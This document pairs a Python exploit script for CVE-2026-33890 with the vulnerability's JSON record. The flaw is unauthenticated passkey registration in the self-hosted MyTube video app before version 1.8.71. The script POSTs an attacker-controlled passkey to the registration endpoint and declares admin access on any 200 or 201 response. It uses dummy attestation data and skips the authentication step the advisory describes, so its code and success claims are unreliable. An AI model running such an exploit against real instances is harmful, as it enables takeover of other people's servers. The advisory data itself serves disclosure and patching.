CVE-2026-33890

import requests import json # Target URL (Placeholder, replace with actual endpoint) TARGET_URL = "http://target-host/api/passkeys/register" def exploit(): # Payload for arbitrary passkey registration # The application accepts this without authentication payload = { "id": "attacker-controlled-id", "rawId": "attacker-controlled-id", "type": "public-key", "response": { "clientDataJSON": "eyJjaGFsbGVuZ2UiOiAiIn0=", # Base64 encoded dummy data "attestationObject": "o2NmbXRmcGFja2VkZ2F0dFN0bXSiY2FsZyZjc2lnWEcwRQIhAIg==" # Dummy attestation } } headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-33890-Exploit" } print(f"[*] Sending malicious registration request to {TARGET_URL}") try: response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10) if response.status_code == 200 or response.status_code == 201: print("[+] Exploit successful! Arbitrary passkey registered.") print(f"[+] Admin access granted via: {response.cookies}") else: print(f"[-] Exploit failed. Status code: {response.status_code}") print(response.text) except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": exploit()

{"cve": {"id": "CVE-2026-33890", "sourceIdentifier": "[email protected]", "published": "2026-03-27T01:16:21.493", "lastModified": "2026-04-01T13:44:03.137", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "MyTube is a self-hosted downloader and player for several video websites Prior to version 1.8.71, an unauthenticated attacker can register an arbitrary passkey and subsequently authenticate with it to obtain a full admin session. The application exposes passkey registration endpoints without requiring prior authentication. Any successfully authenticated passkey is automatically granted an administrator token, allowing full administrative access to the application. This enables a complete compromise of the application without requiring any existing credentials. Version 1.8.71 fixes the issue."}, {"lang": "es", "value": "MyTube es un descargador y reproductor autoalojado para varios sitios web de video. Antes de la versión 1.8.71, un atacante no autenticado puede registrar una clave de acceso arbitraria y posteriormente autenticarse con ella para obtener una sesión de administrador completa. La aplicación expone puntos finales de registro de clave de acceso sin requerir autenticación previa. Cualquier clave de acceso autenticada con éxito recibe automáticamente un token de administrador, permitiendo acceso administrativo completo a la aplicación. Esto permite un compromiso completo de la aplicación sin requerir ninguna credencial existente. La versión 1.8.71 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.9, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:franklioxygen:mytube:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.8.71", "matchCriteriaId": "FB04CF44-FE0D-4FF7-9640-E86E61A38331"}]}]}], "references": [{"url": "https://github.com/franklioxygen/MyTube/commit/d6c1275a7ff7ffd3d51b53c333237f4d572580ac", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/franklioxygen/MyTube/security/advisories/GHSA-378w-xh68-qrc8", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/franklioxygen/MyTube/security/advisories/GHSA-378w-xh68-qrc8", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}